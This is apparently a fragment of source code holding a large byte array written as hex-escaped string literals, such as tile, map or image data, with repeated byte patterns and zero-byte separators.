"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05"
"\x05\x05\x05\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x05\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x14\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a"
"\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10"
"\x0a\x0a\x0a\x0a\x0a\x0a\x10\x1b\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a"
"\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a"
"\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a"
"\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x10\x0a\x0a\x0a\x0a\x0a"
"\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b"
"\x1b\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a"
"\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a"
"\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a"
"\x0a\x0a\x10\x10\x0a\x0a\x0a\x0a\x0a\x10\x10\x0a\x0a\x0a\x0a\x0a"
"\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b"
"\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a"
"\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a"
"\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a"
"\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a"
"\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a"
"\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x10"
"\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a"
"\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a"
"\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a"
"\x0a\x10\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a\x0a\x0a\x0a"
"\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b"
"\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a"
"\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a"
"\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a"
"\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a"
"\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b"
"\x0a\x0a\x0a\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x10\x10\x0a"
"\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x0a\x0a\x0a"
"\x0a\x0a\x0a\x10\x0a\x0a\x0a\x0a\x0a\x0a\x1b\x1b\x0a\x0a\x0a\x0a"
"\x0a\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x1f\x1d\x06\x1b\x15\x15\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x1e"
"\x17\x0d\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d\x17"
"\x1d\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15\x0d\x17\x1e"
"\x15\x15\x15\x15\x04\x06\x1b\x15\x15\x15\x15\x1b\x17\x04\x15\x15"
"\x15\x15\x05\x17\x17\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15"
"\x15\x1d\x06\x1d\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15"
"\x0d\x17\x1e\x15\x15\x15\x15\x04\x06\x1b\x15\x15\x15\x15\x1e\x17"
"\x0d\x15\x15\x15\x15\x05\x17\x17\x05\x15\x15\x15\x15\x04\x17\x1b"
"\x15\x15\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x1e\x17\x0d\x15\x15"
"\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d\x17\x1d\x15\x15\x15"
"\x15\x1e\x17\x0d\x15\x15\x15\x15\x05\x0d\x17\x05\x15\x15\x15\x15"
"\x04\x06\x1b\x15\x15\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x05\x17"
"\x0d\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d\x06\x1d"
"\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15\x0d\x17\x1e\x15"
"\x15\x15\x15\x04\x17\x1b\x15\x15\x15\x15\x1b\x17\x04\x15\x15\x15"
"\x15\x05\x17\x17\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15"
"\x1d\x06\x1d\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15\x0d"
"\x17\x1e\x15\x15\x15\x15\x04\x06\x1b\x15\x15\x15\x15\x1e\x17\x0d"
"\x15\x15\x15\x15\x05\x17\x17\x05\x15\x15\x15\x15\x04\x17\x1b\x15"
"\x15\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15"
"\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d\x06\x1d\x15\x15\x15\x15"
"\x1e\x17\x0d\x15\x15\x15\x15\x05\x0d\x17\x05\x15\x15\x15\x15\x04"
"\x17\x1b\x15\x15\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x05\x17\x0d"
"\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d\x06\x1d\x15"
"\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15\x0d\x17\x1e\x15\x15"
"\x15\x15\x04\x06\x1b\x15\x15\x15\x15\x1b\x17\x04\x15\x15\x15\x15"
"\x05\x17\x17\x05\x15\x15\x15\x15\x0d\x17\x1e\x15\x15\x15\x15\x1d"
"\x06\x1d\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15\x15\x0d\x17"
"\x1e\x15\x15\x15\x15\x04\x06\x1d\x15\x15\x15\x15\x1e\x17\x0d\x15"
"\x15\x15\x15\x05\x17\x17\x05\x15\x15\x15\x15\x04\x17\x1b\x15\x15"
"\x15\x15\x1b\x06\x04\x15\x15\x15\x15\x1e\x17\x0d\x15\x15\x15\x15"
"\x05\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e"
"\x05\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05"
"\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x15\x05\x0e"
"\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e"
"\x0e\x0e\x0e\x05\x05\x0b\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e"
"\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e"
"\x15\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05"
"\x15\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e"
"\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e"
"\x0e\x0e\x0e\x15\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e"
"\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x05\x0e\x0e\x0e\x0e\x0e"
"\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05"
"\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e"
"\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x15\x05\x0e\x0e"
"\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0e\x0e\x0e"
"\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e"
"\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x14"
"\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15"
"\x0b\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e"
"\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x14\x0b\x0e\x0e"
"\x0e\x0e\x15\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e"
"\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x05"
"\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e"
"\x0e\x0e\x0e\x0e\x05\x05\x0b\x0e\x0e\x0e\x0e\x14\x05\x0e\x0e\x0e"
"\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e"
"\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e"
"\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x14\x0b\x0e\x0e\x0e\x0e\x15\x05"
"\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x15\x0b"
"\x0e\x0e\x0e\x0e\x05\x05\x0e\x0e\x0e\x0e\x0e\x0e\x05\x0e\x0e\x0e"
"\x0e\x0e\x0e\x05\x15\x0b\x0e\x0e\x0e\x0e\x05\x15\x0b\x0b\x0b\x1e"
"\x04\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x1f"
"\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0b\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0b\x1b"
"\x06\x05\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x14"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
"\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x05"
"\x1d\x0a\x0a\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x17"
"\x1e\x0b\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
